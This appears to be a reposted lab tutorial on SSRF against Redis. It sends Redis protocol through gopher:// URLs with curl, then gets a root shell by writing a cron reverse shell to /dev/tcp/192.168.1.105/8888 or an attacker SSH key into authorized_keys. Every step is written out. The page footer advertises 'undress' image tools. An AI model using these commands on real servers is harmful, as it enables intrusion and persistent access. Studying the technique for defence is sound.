search
HomeDatabaseRedisExample analysis of server-side request forgery SSRF in Redis

SSRF, that is, server-side request forgery. Users can control the resources, protocols, paths, etc. requested by the server. This can cause SSRF attacks.

This article focuses on the SSRF attack on the Redis service through the gopher protocol, and then getshell.

gopher protocol format

First understand what the gopher protocol is and what its format looks like:

gopher://: //_Followed by TCP data stream

When we test the attack on redis, we can use the curl that comes with Linux for testing.

If you use Centos, in order to ensure the success of the experiment, it is best to turn off Centos selinux.

Close selinux:

setenforce 0

Attack redis

(1) Experimental environment setup

virtual Just install Centos7.

redis installation:

wget http://download.redis.io/releases/redis-4.0.6.tar.gz //Download redis compressed package

yum install gcc //Gcc is necessary when installing make

tar -xzvf redis-4.0.6.tar.gz //Extract the compressed package cd redis-4.0.6 //Enter the compressed package directory

make MALLOC=libc //Compile

cd src //After compilation is completed, a folder src will be generated, enter the src folder

make install //Install

redis operation:

In the redis-4.0.6 directory , redis.conf is the initial redis configuration file

redis-4.0.6/src directory , there are two most important executable files:

redis-server -- server

redis-cli -- The client

runs the server program directly to start the redis service.

./redis-server

Example analysis of server-side request forgery SSRF in Redis

Run the client program directly and connect to the local redis service by default:

./redis-cli

(2) Preliminary exploration and introduction

Try to attack passwordless Redis:

First we have to turn on the packet capture software to capture the data packets communicating with redis.

In Linux, you can use tcpdump to capture traffic:

tcpdump -i lo -s 0 port 6379 -w redis.pcap

If you capture the traffic of the local interface, note that it is lo and not eth0

We log in first, and then execute set key Operation:

Example analysis of server-side request forgery SSRF in Redis

Export the packet captured by tcpdump, open it with wireshark, and track the TCP flow

Only look at the data we input, not the server In the returned data, you can see that there are only a few lines:

Example analysis of server-side request forgery SSRF in Redis

In the "Display and save data as" position, select Hex dump, and you will get the following data:

Example analysis of server-side request forgery SSRF in Redis

The red box is what will be used laterpayload

Copy everything and use the editorRemove all irrelevant data except the red box

Example analysis of server-side request forgery SSRF in Redis

Then add a percent sign before each hexadecimal value and line it up in one line. Available:

Example analysis of server-side request forgery SSRF in Redis

Construct curl request:

curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -

Echo:

Example analysis of server-side request forgery SSRF in Redis

Query key:

Example analysis of server-side request forgery SSRF in Redis

The key can be set successfully.

Try to attack redis using a password:

First configure redis to require a password to log in:

Modify the configuration file under redis redis. conf, search for the requirepass keyword.

Default requirepass is commented, delete the comment symbol , and then fill in the you want to set for redis after requirepass Password

Example analysis of server-side request forgery SSRF in Redis

After configuration, the command to start redis is:

./redis-server redis配置文件路径

Example analysis of server-side request forgery SSRF in Redis

Attempt to attack Password redis:

First, enable tcpdump packet capture, and then perform the operation in the redis command line:

Example analysis of server-side request forgery SSRF in Redis

Capture the traffic again, the same as before Operation, it was found that password verification means adding an extra auth command:

Example analysis of server-side request forgery SSRF in Redis

重复上文的步骤即可。

(2)GetShell:

接下来讲重点:通过 set key GetShell:

思路:

(1)将反弹shell命令写到定时任务里,攻击机只需要开一个netcat端口即可。

(2)写入ssh-keygen,进行ssh免密登录。

一个个细细道来。

(1)定时任务反弹shell

基本要求:

redis需要是以 root 权限运行,不然写不到 /var/spool/cron/ 目录下

1.首先得知道 Linux 下的定时任务是个什么东西:

Linux下设置定时任务命令为 crontab

配置文件为 /etc/crontab

下面这张图是配置文件里的内容,很好的说明了 crontab 配置的格式

Example analysis of server-side request forgery SSRF in Redis

这个配置文件应该只是供参考用的,我们的定时任务需要自己手动写在 /var/spool/cron/ 目录下

如果我们要每分钟执行一次命令 echo1 > /tmp/1.txt

则可以这么操作:

vim /var/spool/cron/root //root是文件名,一般以执行的用户命名

在文件中写入

* * * * * root echo1 > /tmp/1.txt

保存退出后,重启 crontab 服务:

systemctl restart crond.service

即可每一分钟执行一次该命令

2.接着要知道linux下通过输入输出流反弹shell

 命令:

/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1

 直接看效果:Example analysis of server-side request forgery SSRF in Redis

Example analysis of server-side request forgery SSRF in Redis

这里巧妙的结合了Linux中 文件描述符、重定向符和 /dev/

文件描述符 1 表示标准输入

文件描述符 2 表示标准输出

/bin/bash -i 表示的是调用bash命令的交互模式,并将交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。

重定向时加入一个描述符 &,表示直接作为数据流输入。不加 & 时,重定向默认是输出到文件里的。

做个实例就清晰明了了

Example analysis of server-side request forgery SSRF in Redis

/dev/tcp/ip地址/端口号 是linux下的特殊文件,表示对这个地址端口进行tcp连接

这里我们设置成攻击机监听的地址

最后面的 0>&1 。此时攻击机和靶机已经建立好了连接,攻击机的输入就是从标准输入0传送至靶机

通过重定向符,重定向到 1(标准输入)中,由于是作为 /bin/bash 的标准输入,所以就执行了系统命令了。

3.还需要知道Redis如何写入文件

Redis 中可以导出当前数据库中的 key 和 value

并且可以通过命令配置导出路径和文件名:

config set dir /tmp/test      //设置导出路径
config set dbfilename root    //设置导出文件名
save                          //执行导出操作

Example analysis of server-side request forgery SSRF in Redis

Example analysis of server-side request forgery SSRF in Redis

可以看到,格式非常乱。不过还好linux中的cron不会报错,只要读到一行正确配置即可执行。

通过crontab定时任务 getshell

为了能让linux能够正确读到一行,我们在 set key 的时候手动添加 \n(换行)

redis语句:

config set dir /var/spool/cron
config set dbfilename root
set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n"
save

转换成 gopher协议,进行curl请求:

Example analysis of server-side request forgery SSRF in Redis

成功写入:

Example analysis of server-side request forgery SSRF in Redis

成功getshell:

Example analysis of server-side request forgery SSRF in Redis

注意:这里有一个坑点。

cron文件不需要写用户名,不然会报错:

Example analysis of server-side request forgery SSRF in Redis

Example analysis of server-side request forgery SSRF in Redis

(2)ssh免密登录

在linux中,ssh可配置成免密登录。

需要修改 ssh 配置文件 /etc/ssh/sshd_config

#StrictModes yes

改为

StrictModes no

然后重启sshd即可

免密登录条件:

客户端生成公钥和私钥

将公钥上传至服务端 即可

在SSRF利用中,同样需要root权限运行 redis

如果不是root权限,需要能够 ssh 登录的用户权限运行 redis

正常免密登录流程:

1.客户端先生成公钥和私钥

使用工具 ssh-keygen:

ssh-keygen -t rsa

Example analysis of server-side request forgery SSRF in Redis

执行完毕后将会在 用户家目录中的 .ssh文件夹中放有公钥与私钥 文件

有.pub后缀的就是公钥,没有.pub后缀的就是私钥

Example analysis of server-side request forgery SSRF in Redis

2.上传公钥至服务器

将公钥上传至服务端的 /root/.ssh目录下

嫌麻烦可以用 ssh-copy-id工具

Example analysis of server-side request forgery SSRF in Redis

Example analysis of server-side request forgery SSRF in Redis

3.重命名文件为authorized_keys

文件名要重命名为 authorized_keys

authorized_keys 文件内容如下:

Example analysis of server-side request forgery SSRF in Redis

如果有多台客户端需要免密登录,新起一行,新行中写对应的客户端的公钥值即可

类似这样:

Example analysis of server-side request forgery SSRF in Redis

4.免密登录

传好后即可免密登录:

Example analysis of server-side request forgery SSRF in Redis

ssh免密登录 getshelll

我们知道了要写入的文件位置、要写入的内容(公钥事先生成好),我们可以构造redis语句了:

//先配置路径
config set dir /root/.ssh      
config set dbfilename authorized_keys
//写入公钥
set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n"
//保存
save

改成gopher协议格式: 

Example analysis of server-side request forgery SSRF in Redis

查看 authorized_keys 文件:

Example analysis of server-side request forgery SSRF in Redis 

成功免密登录:

Example analysis of server-side request forgery SSRF in Redis

The above is the detailed content of Example analysis of server-side request forgery SSRF in Redis. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:亿速云. If there is any infringement, please contact admin@php.cn delete
Redis: Unveiling Its Purpose and Key ApplicationsRedis: Unveiling Its Purpose and Key ApplicationsMay 03, 2025 am 12:11 AM

Redisisanopen-source,in-memorydatastructurestoreusedasadatabase,cache,andmessagebroker,excellinginspeedandversatility.Itiswidelyusedforcaching,real-timeanalytics,sessionmanagement,andleaderboardsduetoitssupportforvariousdatastructuresandfastdataacces

Redis: A Guide to Key-Value Data StoresRedis: A Guide to Key-Value Data StoresMay 02, 2025 am 12:10 AM

Redis is an open source memory data structure storage used as a database, cache and message broker, suitable for scenarios where fast response and high concurrency are required. 1.Redis uses memory to store data and provides microsecond read and write speed. 2. It supports a variety of data structures, such as strings, lists, collections, etc. 3. Redis realizes data persistence through RDB and AOF mechanisms. 4. Use single-threaded model and multiplexing technology to handle requests efficiently. 5. Performance optimization strategies include LRU algorithm and cluster mode.

Redis: Caching, Session Management, and MoreRedis: Caching, Session Management, and MoreMay 01, 2025 am 12:03 AM

Redis's functions mainly include cache, session management and other functions: 1) The cache function stores data through memory to improve reading speed, and is suitable for high-frequency access scenarios such as e-commerce websites; 2) The session management function shares session data in a distributed system and automatically cleans it through an expiration time mechanism; 3) Other functions such as publish-subscribe mode, distributed locks and counters, suitable for real-time message push and multi-threaded systems and other scenarios.

Redis: Exploring Its Core Functionality and BenefitsRedis: Exploring Its Core Functionality and BenefitsApr 30, 2025 am 12:22 AM

Redis's core functions include memory storage and persistence mechanisms. 1) Memory storage provides extremely fast read and write speeds, suitable for high-performance applications. 2) Persistence ensures that data is not lost through RDB and AOF, and the choice is based on application needs.

Redis's Server-Side Operations: What It OffersRedis's Server-Side Operations: What It OffersApr 29, 2025 am 12:21 AM

Redis'sServer-SideOperationsofferFunctionsandTriggersforexecutingcomplexoperationsontheserver.1)FunctionsallowcustomoperationsinLua,JavaScript,orRedis'sscriptinglanguage,enhancingscalabilityandmaintenance.2)Triggersenableautomaticfunctionexecutionone

Redis: Database or Server? Demystifying the RoleRedis: Database or Server? Demystifying the RoleApr 28, 2025 am 12:06 AM

Redisisbothadatabaseandaserver.1)Asadatabase,itusesin-memorystorageforfastaccess,idealforreal-timeapplicationsandcaching.2)Asaserver,itsupportspub/submessagingandLuascriptingforreal-timecommunicationandserver-sideoperations.

Redis: The Advantages of a NoSQL ApproachRedis: The Advantages of a NoSQL ApproachApr 27, 2025 am 12:09 AM

Redis is a NoSQL database that provides high performance and flexibility. 1) Store data through key-value pairs, suitable for processing large-scale data and high concurrency. 2) Memory storage and single-threaded models ensure fast read and write and atomicity. 3) Use RDB and AOF mechanisms to persist data, supporting high availability and scale-out.

Redis: Understanding Its Architecture and PurposeRedis: Understanding Its Architecture and PurposeApr 26, 2025 am 12:11 AM

Redis is a memory data structure storage system, mainly used as a database, cache and message broker. Its core features include single-threaded model, I/O multiplexing, persistence mechanism, replication and clustering functions. Redis is commonly used in practical applications for caching, session storage, and message queues. It can significantly improve its performance by selecting the right data structure, using pipelines and transactions, and monitoring and tuning.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Atom editor mac version download

Atom editor mac version download

The most popular open source editor

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft